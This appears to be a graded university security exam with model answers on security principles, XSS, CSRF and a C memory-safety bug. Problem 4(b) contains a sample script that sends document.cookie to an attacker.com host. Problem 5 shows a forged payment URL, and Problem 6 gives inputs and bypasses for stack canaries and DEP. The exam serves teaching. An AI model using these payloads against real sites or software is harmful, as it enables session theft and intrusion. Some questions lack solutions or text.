Problem 1  Security principles (15 points)

For each scenario, identify the security principle illustrated by scenario and give a short one-sentence justification of your answer. Some scenarios may represent an example of following the principle; others may represent an example of violating the principle.

(a) Bike lock manufacturers tend to have a range of different kinds of locks for customers to choose from. The high-end ones are advertised for high-crime areas and the low-end options are advertised for low to moderate crime areas.

Solution:
PRINCIPLE: (Following the principle of) Security as economics / Know your threat model / Work factor (from the book)

JUSTIFICATION: If there’s a lower risk of theft, it wouldn’t make sense to waste money on a high-end lock. In areas with higher crime, the threat of theft is more severe, and so the locks should be more secure.

Almost everybody got this question right.

(b) Some paranoid people will equip their houses with high fences, a gate that only opens with a password, a home security system, and a panic room.

Solution:
PRINCIPLE: (Following the principle of) Defense in depth

JUSTIFICATION: There are multiple, redundant security measures.

We gave 3 points for complete mediation, know your threat model, and security is economics with correct justification.

We docked 1 point if you had a correct answer, but guessed 2 principles.

(c) A company called ES&S makes electronic voting machines for use in public elections. A special password is needed to upload software updates to their voting machines. This password is identical for every ES&S machine throughout the country, hard-coded in the code, and cannot be changed. The password is documented in manuals.
given to election officials who need to update the software on their voting machines.

Solution:
**PRINCIPLE:** (Violation of) Don’t rely on security through obscurity / Kerchoff’s principle (from the book)

**JUSTIFICATION:** ES&S is relying on the fact that an attacker will not be able to find the hard coded password.

One common answer was “Design security in from the start”. We awarded partial credit for this solution if accompanied by an appropriate justification. While it is true that ES&S did not design security in from the start, the emphasis is on the fact that the security of the machines rests upon the secrecy/obscurity of the password.

**Problem 2**  **Multiple choice**  

(a) Many security experts recommend using prepared statements in your code. Which of the following threats do prepared statements defend against? Circle all that apply.

- XSS
- Integer overflow
- CSRF
- SQL injection
- Clickjacking
- Polymorphic worms
- Buffer overruns
- Session fixation
- None of the above

**Solution:** SQL injection.

Strictly speaking, XSS is not correct, as prepared statements are a mechanism of forming SQL statements. However, the same idea behind prepared statements can be applied to form HTML documents in a way that prevents XSS. Therefore, we did not deduct points if you circled “XSS”.

(b) ROP (Return-Oriented Programming) attacks are one way to exploit memory-safety vulnerabilities. Which of the following defenses can defend against ROP attacks? Circle all that apply.

- Non-executable stack
- Random CSRF tokens
- Same-origin policy
- Memory-safe programming languages
- Output escaping
Problem 3  True/false  
(15 points)

In parts (a)–(e), circle true or false.

(a) True or False: The same-origin policy would prevent Javascript running on a page from twitter.com from reading the cookies for twitter.com and sending them to evil.com.


(b) True or False: The same-origin policy would prevent Javascript running on a page from evil.com from reading the cookies for twitter.com and sending them to evil.com.

Solution: True. See the Same Origin Policy. The Javascript can’t read the cookies for a different origin.

To prevent SQL injection attacks, www.sweetvids.com uses input sanitization to remove the following characters from all user-provided text fields: ’=–. However, they forgot to include ; in the list, and as a result, some hacker figures out a way mount a successful SQL injection attack on their site.

Based on this, which of the following are accurate? Circle true or false.

(c) True or False: This vulnerability was a predictable consequence of using blacklisting: it’s too easy to leave something out of a blacklist.

Solution: True

(d) True or False: This bug would not have been exploitable if all modern browsers used privilege separation and sandboxing, like Chrome does.

Solution: False

(e) True or False: If www.sweetvids.com had used address space layout randomization (ASLR), it would have been difficult or impossible for an attacker to exploit this vulnerability.
Problem 4  Web security  (20 points)

www.awesomevids.com provides a way to search for cool videos. When presented with a URL such as:


The server will return an HTML search results page containing:

...searched for: <b>cats</b> ...

In particular, the search phrase from the URL parameter is always included into the HTML exactly as found in the URL, without any changes.

(a) The site has a vulnerability. Describe it, in a sentence or two.

Solution: (8 points)

Reflected XSS. Anything in the search query is echoed in the HTML, so arbitrary scripts can be injected by using <script> tags.

Partial credit was given for just saying XSS, as well as failing to mention XSS at all (with a proper explanation).

(b) Alice is a user of www.awesomevids.com. Describe how an attacker might be able to use this vulnerability to steal the cookies that Alice’s browser has for www.awesomevids.com. You can assume that the attacker knows Alice’s email address.

Solution: (8 points)

There were two main parts we were looking for:

- A link that Alice would click on that would execute the attack
- A vector through which Alice would receive the link

The most common full-credit answer is the following:

Send Alice a phishing email that has the search link above with the following search query

<script>window.open("www.attacker.com/sendcookie.cgi?cookie=
Document.cookie")</script>.

You did not need to provide working Javascript, but there needed to be clear instructions on how to construct the URL.
For the vector, we accepted “send Alice an email with the link” for full credit. We gave partial credit to anything more vague than that (e.g., “get Alice to click”).

(c) The developers of www.awesomevids.com hear rumors of this vulnerability in their site, so they deploy framebusting on all of their pages. Does this prevent exploitation of the vulnerability? Why or why not? Circle yes or no, then provide a one- or two-sentence explanation of why or why not.

   Yes   No

Explanation (why or why not):

Solution: (4 points)
No. Framebusting solves a different problem (clickjacking) and does not have any effect on the XSS vulnerability in this problem.
XSS exploits don’t care whether the page is in a frame or not.
Points were deducted for responses that did not display understanding of framebusting.

Problem 5  More web security  (16 points)
You are the developer for a new fancy payments startup, CashBo, and you have been tasked with developing the web-based payment form. You have set up a simple form with two fields, the amount to be paid and the recipient of the payment. When a user clicks submit, the following request is made:

http://www.cashbo.com/payment?amount=<dollar amount>&recipient=<username>

You show this to your friend Eve, and she thinks there is a problem. She later sends you this message:

   Hey, check out this funny cat picture. http://tinyurl.com/as3fsjg

You click on this link, and later find out that you have paid Eve 1 dollar via CashBo.
(Background: Tinyurl is a URL redirection/shortener service that’s open to the public. Thus, Eve was able to choose what URL the link above redirects to.)

(a) Name the type of vulnerability that Eve exploited to steal one dollar from you, in the story above.

Solution: (6 points)
Cross Site Request Forgery (CSRF). No explanation was required and if you got the words in the acronym wrong, that was OK too.
We also accepted any solution that explained what CSRF is without naming it explicitly.

We gave partial credit for students who named a different attack but explained it properly, or vice versa.

(b) What did the tinyurl link redirect to?

Solution: (4 points)

http://www.cashbo.com/payment?amount=1&recipient=Eve

Or any explanation that amounted to the same thing as this URL.

Half of the points were for the redirect target (CashBo) and half were for appropriate URL parameters (1 dollar and Eve’s username).

(c) How could you, as the developer of CashBo, defend your web service from this sort of attack? Explain in one or two sentences.

Solution: (6 points)

Acceptable solutions include:

- CSRF Tokens
- Check the Origin Header
- Check the Referer Header
- Require the user to re-authenticate (e.g., re-enter username and password) explicitly for every sensitive transaction

To get full credit, students needed to show that they had a basic understanding of how the defense protects a website from CSRF attacks.

Points were deducted for including any erroneous information or failing to include sufficient explanation.

Using HTTP POST instead of URL parameters received no points, since this does not defend against CSRF in general (an attacker can just as easily spoof POST requests as URL parameters).

Requiring the user to click on an additional pop-up without providing credentials was also unacceptable as this is vulnerable to a double CSRF attack (the attacker just sends both of the relevant URLs in succession). Although a browser could enforce such a pop-up (which can only be controlled by the user), that is not a defense a CashBo developer could implement server-side.
Problem 6  Memory safety (24 points)

Assume all preconditions are met whenever the following function is called. You may also assume that the following code is executed on a 32-bit machine.

/* Copy every step’th character from src to dst */
/* Requires: src,dst are valid non-NULL pointers,
 n <= sizeof(src), n <= sizeof(dst) */

```c
void vulncopy(char* dst, char* src, int n, int step) {
    for (int i = 0; i < n; i += step) {
        dst[i] = src[i];
    }
}
```

(a) This code has a memory-safety vulnerability. Describe it.

Solution: (9 points)

We accepted any of the following answers:

- Array out-of-bounds. If `step` is negative, the array index `i` will be negative.
- Buffer underrun/underflow. If `step` is negative, the array index `i` will be negative.
- Integer overflow. If `step` is very large, the array index `i` can overflow and become negative.

We also accepted others in a similar vein. For full credit the answer had to name or describe the general class of vulnerability, and had to explain that the array index would become negative.

Some common non-solutions: You could exploit memory. You could craft inputs that exploited the array. But no indication of how.

(b) What parameters could an attacker provide to `vulncopy()` to trigger a memory-safety violation? (Your input must comply with the preconditions for `vulncopy()`.)

Solution: (9 points)

With `foo` and `bar` at least `n` long, any of the following would be valid answers (for example):

```c
vulncopy(foo, bar, 1, -1); // negative step
vulncopy(foo, bar, INT_MAX, 5); // overflows and becomes negative
vulncopy(foo, bar, INT_MAX, INT_MAX-1);
vulncopy(foo, bar, 2**31 - 1, 5);
```
We also accepted answers that specified that step should be negative.

We provided partial credit for some small variations Small variations that lost a few points included: $2^{31}$, $2^{32} - 1$, $2^{32} + 1$.

We deducted points for including a wrong solution in addition to a correct one.

Some common incorrect answers included:

- `vulncopy(foo, bar, 2**16, 2**17); // doesn’t overflow`
- `vulncopy(foo, bar, 3, 5);  // 0 + 5 > 3, no next iteration`
- `vulncopy(foo, bar, 5, MAX_INT-3); // just runs once`
- `vulncopy(foo, bar, -1, MAX_INT); // will run 0 iterations`

(c) If the vulnerable code was compiled using a compiler that inserts stack canaries, would that prevent exploitation of this vulnerability? Answer yes or no. You do not need to justify your answer.

**Solution:** (3 points)

No.

For the curious, there are several ways to exploit the vulnerability while bypassing the canary. Here is one:

`vulncopy(d, s, 5, -2**30-1)`

This invocation will first write to $d[0]$, and then in the next iteration of the loop to $d[-2**30-1]$ (which is out of bounds). Then in the third iteration of the loop, the index $i$ will underflow and become $2**31 - 2$, which is positive and larger than $n$, so the loop will terminate. This writes a single byte of the attacker’s choice to an address about $2**30$ bytes below the start of $d$. By choosing step appropriately, the attacker can control which address in memory is overwritten. Thus, if the attacker can find a single byte somewhere in memory that if changed to a new value suffices to exploit the program, the attacker wins. One possibility might be to change some byte of a function pointer (or a return address), to cause it to point to the attacker’s malicious code. Notice that because the loop only writes to $d[0]$ and $d[-2**30-1]$, the stack canary is not disturbed, so stack canaries won’t detect this attack.

Here is another attack:

Suppose the buffer $d$ is allocated somewhere on the heap, at an address somewhere in the range $2**31 \ldots 2**32 - 1$. Similarly assume the address of $s$ is something in the range $2**31 \ldots 2**32 - 1$. Also suppose that the $2**31$ bytes before $d$ are all writable, and the $2**31$ bytes before $s$ are all readable and are controlled by the attacker (or at least the first few hundred bytes before
s are controlled by the attacker). Then `vulncopy(d, s, 5, -1)` will copy the 2**31 bytes before s to the 2**31 bytes before d. After copying 2**31 bytes, the loop index i will underflow and become a very large positive number, so the loop will terminate and `vulncopy()` will return. However, by that point we’ve overwritten half of the address space. Thus, we could overwrite a function pointer somewhere in memory. If the attacker controls the appropriate part of memory before s, the attacker can control the new value of the function pointer and make it point to a copy of the attacker’s malicious code somewhere in memory. Since d is on the heap, nothing on the stack will be overwritten, so the stack canary won’t detect the attack.

Yes, this was difficult. We wanted to include at least one “stretch question” that would really challenge you.

(d) If the vulnerable code was run with DEP (Data Execution Prevention), would that prevent exploitation of this vulnerability? Answer yes or no. You do not need to justify your answer.

Reminder: DEP uses the NX (non-executable) bit to mark the stack and heap regions as non-executable, so no page in memory is both writeable and executable.

Solution: (3 points)

No.

This is even trickier to exploit, but it can be done. Here are some possible ways:

One way is to overwrite a single byte in some control variable somewhere in memory (e.g., a authenticated flag that indicates whether the user has entered their password correctly), and thereby change the control flow of the program in a way that defeats security.

Another way could be to use the second attack from 6(c), but this time assume d is a buffer allocated somewhere on the stack (in the stack frame of some caller of `vulncopy()`, say, or several frames up the stack). Then `vulncopy(d, s, 5, -1)` will blow away part of the stack, overwriting it with values under the attacker’s control. Thus, the attacker can choose values that sets the stack up for a ROP attack.

This was another “stretch question” for the memory-safety aficionados amongst you.